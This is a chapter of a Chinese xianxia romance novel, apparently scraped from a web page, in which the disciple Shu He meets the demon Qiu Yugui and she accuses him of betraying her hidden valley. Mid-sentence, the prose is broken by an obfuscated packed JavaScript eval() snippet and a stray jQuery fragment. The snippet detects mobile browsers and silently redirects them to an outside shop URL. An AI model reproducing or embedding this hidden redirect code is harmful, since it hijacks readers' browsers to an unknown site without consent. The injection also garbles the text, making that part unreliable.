“大师兄！”有弟子看见束鹤，快步迎上来，“有您的信。”
束鹤接过信，看了一眼封皮，字迹歪歪扭扭，是方流兮寄来的。
这些年除了逢年过节，他们很少会写信过来，生怕打扰他的修行。他向那弟子道了谢，没有当场拆开，将信揣进袖中。
待他走回自己的住处，关上房门，在桌边坐下，才将信封撕开。
信很短，只有几行字。方流兮识字不多，写得也潦草，但每一个字都认认真真。
【小鹤，家里的蜂蜜吃完了，你贺哥本想去买些蜂蜜，却不想在山上摔了一跤，你若无事，便回家看看他。】
束鹤蹙眉盯着那几行字，看了很久。
蜂蜜。
家里的蜂蜜，是秋与归第一次去他家时留下的。那罐有很多，这才过去多久，就算顿顿吃，也不可能现在就吃完。
束鹤的手指微微收紧，信纸的边缘被他捏出一道浅浅的褶皱。他的心狂跳起来，脸上却压下了所有情绪。
他将信重新折好，塞进信封，起身走到窗边。
窗外，阳光正好，远处的山峰在日光下泛着青翠的光泽，镇妖塔在群峰之间沉默地矗立。
束鹤靠在窗边，闭上眼，他把信揣进衣襟里，贴着心口，和那枚玉牌放在一起。然后他走出房门，沿着山道朝执事堂走去。
师尊正在执事堂里看书，见他进来，抬起头，“有事？”
“师尊。”束鹤躬身行礼，“弟子想回家一趟。”
师尊放下信，看着他，“又回家？”
“是。”束鹤垂着眼，“贺哥摔了一跤，弟子比较担心，回去看看，两三日便回。”
“你自己伤势还未痊愈，路上小心。”师尊没有多问，“去吧。”
“多谢师尊。”束鹤转身走出执事堂，他的脚步很稳，不快不慢，和平时没有什么两样。
回到住处，他简单收拾了几件换洗衣物，盯着那把秋水剑看了一会，最终还是把它取下，挂在腰间，又将那枚玉牌和嫂子的信一起揣进衣襟里。
他沿着石阶一步步走下去，走到半山腰时，他停下脚步，回头看了一眼。
玄清宗的山门在日光下熠熠生辉，牌坊上的字迹清晰可见。他看了片刻，转过身，继续往下走。
束鹤走了一天，天黑时才到村口。
他疾步跑回家门口，门虚掩着，他推开门，院子里没有人，方流兮房中的烛火已经熄灭。
束鹤在院子里站了一会儿，然后推开自己那间屋子的门。他把包袱放在桌上，在床边坐下。
夜深了，月亮从云层后面露出来，将院子照得一片清冷。束鹤站起身，走到窗边，推开窗户。
月光涌进来，照在他脸上。
他看见院门口站着一个人。
深蓝色的衣裙，墨发用一根银钗松松绾着，几缕碎发垂在耳侧。她站在月光下，手里提着一盏小小的灯笼，灯光昏黄，照出她的眉眼。
束鹤的手按在窗沿上，指节发白。
她没有动，他也没有动。两人隔着半个院子，在月光下对视。
夜风从山涧吹来，吹得她手里的灯笼轻轻摇晃。光影在她脸上跳动，她的脸色很白，白得几乎透明。
束鹤终于动了。
他翻过窗台，落在院子里。脚步有些踉跄，差点被地上的碎石绊倒，但他没有停。
他走到她面前。
离得近了，才看清她眼下的乌青，看清她唇上几乎没有血色。
她瘦了，比在春山谷时瘦了很多。手背上依旧能看到金色的纹路，从袖口蔓延出来。
“秋与归。”他开口，声音哑得不像自己的。
她看着他，嘴角动了动，像是想笑，又像是想说什么。但最终，她只是轻轻叹了口气。
“无礼，怎么不称呼我春山君了？”
束鹤没有说话，只是伸出手，握住了她提着灯笼的那只手。她的手很凉，冰得像从水里捞出来的。
“我也不是第一次这样喊你。”他说。
秋与归低下头，看着他的手覆在自己手背上，没有抽开。
“嫂子说你状态不对。”她的声音有些低，“我来看看你。”
“嗯。”束鹤应了一声，手指收紧了些，“我还没有找到治疗这道伤痕的办法。”
秋与归抬起眼，看着他。
月光从她身后照过来，将她的轮廓镀上一层银边。
“不必找了。”她说，声音很轻，却像一块石头砸进平静的水面。
束鹤的手指僵了一下，“你说什么？”
“我说，不必找了。”秋与归能感受到他的手很暖，烫得她手背上的金色裂痕隐隐发烫。她把手抽回来，动作坚决。
束鹤的掌心空了。
夜风灌进来，吹得那盏灯笼摇晃了几下。秋与归稳住灯笼，后退了半步，拉开两人之间的距离。
“你师尊说了，春山谷的位置是你告诉他的。”她说，语气平淡，听不出情绪。
束鹤的瞳孔猛地收缩，“我不会。”
秋与归没有看他，目光落在院子外那棵老槐树上。月光将树影拉得很长，像一只伸出的手。
“你离开的第二天，他便带着一众弟子来了。”她的声音没有起伏，“我之前跟你说过，没有人能找到春山谷的位置，除非……是里面的人主动暴露的。”
“你信了？”束鹤的声音有些哑。
秋与归没有回答，任凭沉默在两人之间蔓延。
“你信了？”束鹤重复了一遍，他的手在发抖，垂在身侧，指尖微微蜷缩，又松开，再蜷缩。
秋与归瞥见了，但她没有动作。
“这不重要。”她说，“重要的是，你已经回了玄清宗，做回你的大师兄。你好好修行，以后的路还长。”
“我问你，信不信。”束鹤没有让她转移话题。
秋与归闭了一下眼。
“这不重要。”她又说了一遍，声音比方才更决绝。
束鹤看着她，看了很久。
“好。”他后退了一步，拉开两人之间的距离。月光落在他肩上，照出他苍白的脸。
“那你为什么来？”他问，“你现在看到了，我很好，你可以走了。”
秋与归的指尖蜷了一下。
她张了张嘴，想说什么，却发现自己什么都说不出来。
她已经在心里把那条线划了一遍又一遍，她是妖，他是人。她不能把他拖进这滩泥沼里，让他背叛师门。
起码在这个梦境中，她不希望玄清宗大师兄的结局发生在束鹤身上。
“我走了。”她说，转过身。
“秋与归。”束鹤在身后喊她。
她的脚步顿了一下，没有回头。
“你听着。”束鹤的声音从身后传来，不疾不徐，却每一个字都清清楚楚，“春山谷的位置，不是我透露的。我没有后悔，也不会求他原谅，‘人妖殊途’那四个字，我永远不会把它用在你我之间。”
秋与归
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876002|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站在原地，背对着他。月光将她的影子拉得很长，投在他脚边。
“你可以不信。”束鹤说，“但我问心无愧。”
秋与归没有回应他，夜风从山涧吹来，光影在她脸上跳动，她的眼眶有些发酸，但她没有回头。
“我知道。”她轻声低喃，但话脱出口却又急忙抬头，大声说道：“束鹤，事实如此。既然你选择背叛我，那便不要再有瓜葛。若不幸再见，不是你死就是我活。”
然后她迈步，朝院门口走去。
束鹤站在原地，看着她的背影一步一步走远。他想起那日在春山谷，她也是这样走的。
他喊她，她没有停，她走进杜鹃林里，花瓣落了满地。
这一次，他没有喊住她。
秋与归走出院门，沿着村道往山下走。月光将路照得很亮，走到村口那棵老槐树下时，她停下脚步。
她的手在发抖，从指尖到手腕，从手腕到小臂。
夜风从山谷里涌上来，吹得树叶沙沙作响。她听见身后有脚步声，很轻，很慢，不用回头，也知道是谁。
“你跟着我做什么？”
脚步声在她身后几步远的地方停下，“送你。”
“不需要。”
“我知道。”
秋与归睁开眼，看着前方的路。月光将村道照得像一条银白色的河流，蜿蜒着伸向远方。
“别再跟着我了，我可不想新找的家又被你暴露了。”秋与归直起身，继续往前走。
身后的脚步声却依旧不远不近得跟着，刚好踩在她的影子上。
她走，他也走。
她停，他也停。
她不回头，他也不上前。
走到山道的岔路口时，秋与归停下脚步。
“就到这里。”她说。
身后的脚步声停了，“好。”
秋与归迈步，走进左边的岔路，夜风从身后吹来，吹得她的衣裙猎猎作响。
她走了一段路，身后再没有声音。她停下脚步，站在月光下。
束鹤在院子里坐了一夜。
天亮的时候，方流兮推开门，看见他坐在石阶上。
“小鹤？”她走过来，蹲下身，看着他，“你什么时候回来的？怎么不进屋？”
束鹤抬起头，她的脸上满是关切。
“昨晚。”他说，声音有些哑。
方流兮看着他，然后轻轻叹了口气，“她来过了？”
束鹤点了点头。
“人呢？”
“走了。”
方流兮沉默了一会儿，在他身边坐下，“她跟你说了什么？”
“她不信我。”束鹤转过头，看着她，“她觉得我背叛了她。”
方流兮的眉头皱了起来，“你信了？”
“她信了。”
方流兮沉默了很久，“小鹤，你有没有想过，她为什么信？”
束鹤低下头。
“也许她不是不信你。”方流兮叹了口气，“她只是希望你能过得更好。”
束鹤的手指猛地收紧。
“可她不知道，”方流兮站起身，拍了拍裙子上的灰尘，“你从来不在乎这些。”
束鹤坐在石阶上，看着嫂子走进厨房。炊烟从烟囱里升起来，在晨光中袅袅散开。
他站起身，走进屋里，拿起秋水剑，挂在腰间。
他走出院子，沿着村道往山下走。
方流兮站在厨房门口，看着他的背影，没有再留他。